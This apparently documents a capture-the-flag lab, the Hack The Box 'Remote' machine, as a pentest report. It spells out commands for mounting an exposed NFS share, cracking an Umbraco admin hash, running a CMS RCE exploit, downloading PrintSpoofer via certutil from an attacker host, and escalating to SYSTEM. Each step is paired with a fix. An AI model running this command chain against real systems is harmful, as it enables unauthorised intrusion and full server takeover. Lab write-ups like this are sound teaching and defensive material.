Remote
Summary
I discovered a network file system share exposed to the entire internet with no credentials required, mounted it, and extracted a complete backup of the web application including its user database. The administrator password hash was cracked offline in seconds against a common wordlist.
Those credentials unlocked the Umbraco CMS admin panel, where a well-known remote-code-execution vulnerability in the outdated software version delivered a command shell running as the IIS web-server process. That process held SeImpersonatePrivilege — an unnecessary Windows right — which a named-pipe impersonation tool exploited to escalate to full NT AUTHORITY\SYSTEM control of the server.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 21,80,111,135,139,445,2049 --min-rate 5000 $TARGETshowmount -e $TARGETFixRestrict NFS exports to authorised hosts and block NFS ports from the internetCritical
Exact commands 2
sudo mkdir -p /tmp/htb_remote_site && sudo mount -t nfs -o vers=3,nolock $TARGET:/site_backups /tmp/htb_remote_sitefind /tmp/htb_remote_site -iname 'Umbraco.sdf'Exact commands 1
strings -a /tmp/htb_remote_site/App_Data/Umbraco.sdf | grep -i -E 'admin|password|email|@'FixExclude live credential databases from internet-accessible backupsHigh
Exact commands 3
echo '$PASSWORD2' > remote_admin.sha1john --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt remote_admin.sha1john --show --format=Raw-SHA1 remote_admin.sha1FixEnforce a strong password policy for all CMS administrator accountsHigh
Exact commands 1
curl -s -o /dev/null -w '%{http_code}' -X POST "http://$TARGET/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" -H 'Content-Type: application/json' -d '{"username":"admin@htb.local","password":"$PASSWORD"}'Exact commands 3
searchsploit Umbraco 7.12.4python3 umbraco_rce_remote.py whoamipython3 umbraco_rce_remote.py "type C:\Users\Public\Desktop\user.txt"FixUpgrade Umbraco CMS to a current, supported releaseCritical
Exact commands 5
python3 umbraco_rce_remote.py "whoami /priv"python3 umbraco_rce_remote.py "certutil -urlcache -f http://$ATTACKER_IP:9000/win/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe"python3 umbraco_rce_remote.py "echo @echo off > C:\Windows\Temp\ps_root.bat & echo whoami ^> C:\Windows\Temp\loot.txt >> C:\Windows\Temp\ps_root.bat & echo type C:\Users\Administrator\Desktop\root.txt ^>> C:\Windows\Temp\loot.txt >> C:\Windows\Temp\ps_root.bat & echo icacls C:\Windows\Temp\loot.txt /grant Everyone:F >> C:\Windows\Temp\ps_root.bat"python3 umbraco_rce_remote.py "C:\Windows\Temp\PrintSpoofer64.exe -c C:\Windows\Temp\ps_root.bat"python3 umbraco_rce_remote.py "type C:\Windows\Temp\loot.txt"FixRemove SeImpersonatePrivilege from the IIS application pool identityHigh
Attack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.